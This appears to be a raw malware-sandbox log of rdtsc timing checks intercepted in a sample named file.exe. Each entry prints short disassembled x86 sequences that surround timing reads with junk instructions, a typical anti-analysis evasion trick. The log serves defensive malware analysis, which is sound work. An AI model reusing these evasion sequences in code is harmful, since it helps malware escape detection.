Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E40B9 second address: 13E40C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5F3E second address: 13E5F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E51C5 second address: 13E51CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7FC0 second address: 13E7FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F53h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7FD8 second address: 13E7FEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007F2A68BD69D8h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7FEE second address: 13E800D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F59h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E85AA second address: 13E85AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E85AE second address: 13E8617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2A68BE4F4Eh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F2A68BE4F48h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d jmp 00007F2A68BE4F4Ch 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F2A68BE4F58h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E8617 second address: 13E861B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E861B second address: 13E8629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F2A68BE4F46h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EAB80 second address: 13EAB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EBBD2 second address: 13EBBD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EBBD8 second address: 13EBBEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2A68BD69DDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EAD50 second address: 13EAD69 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2A68BE4F46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F2A68BE4F4Ch 0x00000013 jg 00007F2A68BE4F46h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECE54 second address: 13ECE58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECE58 second address: 13ECE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECE5E second address: 13ECE65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECE65 second address: 13ECE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EEE8C second address: 13EEEA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EEEA7 second address: 13EEEAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EFDAB second address: 13EFE2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jc 00007F2A68BD69DCh 0x0000000d mov edi, dword ptr [ebp+122D34B0h] 0x00000013 adc edi, 53BF1DCBh 0x00000019 push 00000000h 0x0000001b cld 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F2A68BD69D8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 jnl 00007F2A68BD6A00h 0x0000003e mov bx, 2C13h 0x00000042 push eax 0x00000043 pushad 0x00000044 jp 00007F2A68BD69DCh 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EFE2B second address: 13EFE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F1D93 second address: 13F1D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F2DAC second address: 13F2DBA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2A68BE4F46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EFF79 second address: 13EFF7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4094 second address: 13F4098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4DC0 second address: 13F4E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 pushad 0x00000006 mov dword ptr [ebp+122D1853h], ebx 0x0000000c or bl, FFFFFFB2h 0x0000000f popad 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F2A68BD69D8h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e pushad 0x0000002f add dword ptr [ebp+122D3061h], ecx 0x00000035 or eax, dword ptr [ebp+122D3795h] 0x0000003b popad 0x0000003c mov ebx, dword ptr [ebp+122D3619h] 0x00000042 xchg eax, esi 0x00000043 jl 00007F2A68BD69EAh 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4098 second address: 13F409D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4E16 second address: 13F4E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BD69DCh 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2A68BD69E2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4E3D second address: 13F4E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4E41 second address: 13F4E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2A68BD69E4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F5E73 second address: 13F5E78 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4FC9 second address: 13F4FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2A68BD69D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4FD3 second address: 13F503F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, eax 0x0000000d push dword ptr fs:[00000000h] 0x00000014 movsx edi, cx 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e mov dword ptr [ebp+122D28FDh], ebx 0x00000024 mov eax, dword ptr [ebp+122D0E5Dh] 0x0000002a ja 00007F2A68BE4F4Bh 0x00000030 push FFFFFFFFh 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F2A68BE4F48h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov edi, dword ptr [ebp+122D3639h] 0x00000052 nop 0x00000053 je 00007F2A68BE4F54h 0x00000059 push eax 0x0000005a push edx 0x0000005b jp 00007F2A68BE4F46h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F503F second address: 13F504A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139CA2D second address: 139CA31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140059B second address: 14005AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F2A68BD69D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14005AB second address: 14005AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFD2A second address: 13FFD30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFD30 second address: 13FFD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2A68BE4F46h 0x0000000a popad 0x0000000b jnl 00007F2A68BE4F4Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2A68BE4F55h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFD5C second address: 13FFD60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403BFD second address: 1403C23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnc 00007F2A68BE4F54h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403C23 second address: 1403C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403C27 second address: 1403C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1403D6B second address: 1403D96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F2A68BD69DAh 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F2A68BD69E2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B011 second address: 140B018 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B310 second address: 140B318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B318 second address: 140B31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B31C second address: 140B332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F2A68BD69D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F2A68BD69DEh 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B332 second address: 140B341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F2A68BE4F46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B4C4 second address: 140B4C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B643 second address: 140B654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2A68BE4F4Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B654 second address: 140B65F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B65F second address: 140B665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B8EB second address: 140B8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B8F1 second address: 140B8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BA6C second address: 140BA76 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2A68BD69DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BA76 second address: 140BA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2A68BE4F52h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BA92 second address: 140BA96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BA96 second address: 140BAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2A68BE4F50h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BAAC second address: 140BAB1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141227C second address: 1412280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1412280 second address: 141228E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141228E second address: 14122B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F2A68BE4F46h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2A68BE4F57h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14122B3 second address: 14122B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410D01 second address: 1410D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410D05 second address: 1410D3B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2A68BD69D6h 0x00000008 jmp 00007F2A68BD69E0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007F2A68BD69D6h 0x00000016 js 00007F2A68BD69D6h 0x0000001c jl 00007F2A68BD69D6h 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410D3B second address: 1410D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410E89 second address: 1410E95 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2A68BD69D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141100A second address: 141100F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141100F second address: 1411023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F2A68BD69D6h 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411023 second address: 1411052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F2A68BE4F52h 0x0000000b jmp 00007F2A68BE4F54h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141130C second address: 1411312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411312 second address: 141131C instructions: 0x00000000 rdtsc 0x00000002 je 00007F2A68BE4F46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141131C second address: 1411326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411326 second address: 141132A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411496 second address: 141149D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141179A second address: 14117B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F2A68BE4F4Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F2A68BE4F46h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14117B5 second address: 14117B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411A1C second address: 1411A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411B52 second address: 1411B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411B58 second address: 1411B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F2A68BE4F58h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411B76 second address: 1411B95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BD69DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b jl 00007F2A68BD69D6h 0x00000011 pop edi 0x00000012 jo 00007F2A68BD69DEh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C03B7 second address: 13C03BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C03BB second address: 13C03C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14109DE second address: 14109F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2A68BE4F4Dh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14109F4 second address: 1410A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F2A68BD69D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F2A68BD69D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1410A09 second address: 1410A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E00C3 second address: 13E010B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F2A68BD69D6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub dh, 0000001Bh 0x00000010 lea eax, dword ptr [ebp+124A1E53h] 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F2A68BD69D8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov edi, edx 0x00000032 nop 0x00000033 push ecx 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 popad 0x0000003a pop ecx 0x0000003b push eax 0x0000003c push ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E13E8 second address: 13E13ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
